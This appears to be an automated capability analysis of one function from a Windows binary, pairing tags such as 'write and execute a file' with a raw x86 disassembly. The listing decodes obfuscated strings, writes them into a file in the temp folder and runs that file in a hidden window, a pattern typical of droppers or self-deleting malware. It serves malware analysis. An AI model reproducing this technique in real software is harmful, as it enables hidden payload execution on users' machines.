Function at 0x409a03
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x3a8
mov eax, dword [0x517490]
xor eax, esp
mov dword [esp + 0x3a4], eax
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1ac]
mov ebp, 0x104
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x14b87cbf
mov edx, 0x1eb6117a
mov ecx, 0xae008549
call fcn.0040138c
mov edx, eax
pop ecx
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x409a48
lea edi, [esp + 0x1ac]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x409a59
mov ecx, edx
lea eax, [esp + 0x1ac]
shr ecx, 2
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
push 0x80000080
push 2
push ebx
push ebx
mov ecx, edx
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
cmp edi, 0xffffffff
je 0x409bef
push ebp
lea eax, [esp + 0x2b4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x98b5f8e8
mov edx, 0x92bb952d
mov ecx, 0x220d0102
call fcn.0040138c
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004ba78c
add esp, 0xc
lea ecx, [esp + 0x10]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
lea eax, [esp + 0x2b0]
mov edx, 0xf2a37f96
push eax
push 0xf8ad1252
mov ecx, 0x4215eb4d
call fcn.0040138c
pop ecx
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004ba78c
add esp, 0xc
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
lea eax, [esp + 0x2b0]
mov edx, 0x249ded0a
push eax
push 0x2e9380d9
mov ecx, 0x942b79df
call fcn.0040138c
pop ecx
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004ba78c
add esp, 0xc
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
lea eax, [esp + 0x2b0]
push 0x5c
push eax
call fcn.004ba830
pop ecx
pop ecx
test eax, eax
je 0x409b74
mov byte [eax], 0
lea eax, [esp + 0x2b0]
mov edx, 0x305355a
push eax
push 0x90b5898
mov ecx, 0xb3b3a1ad
call fcn.0040138c
pop ecx
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004ba78c
add esp, 0xc
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
lea eax, [esp + 0x1ac]
mov edx, 0x958430c4
push eax
push 0x9f8a5d00
mov ecx, 0x2532a423
call fcn.0040138c
pop ecx
push eax
lea eax, [esp + 0x70]
push eax
call fcn.004ba78c
add esp, 0xc
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
lea eax, [esp + 0x74]
push eax
push edi
call ebx
push edi
call esi
xor ebx, ebx
push 0x40
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.004bea90
add esp, 0xc
mov dword [esp + 0x24], 0x44
xor eax, eax
mov dword [esp + 0x50], 1
mov word [esp + 0x54], ax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x28]
push eax
push ebx
push ebx
push 0x8000040
push ebx
push ebx
push ebx
lea eax, [esp + 0x1cc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x409c49
push dword [esp + 0x14]
call esi
push dword [esp + 0x18]
call esi
mov ecx, dword [esp + 0x3b4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004b94b6
add esp, 0x3a8
ret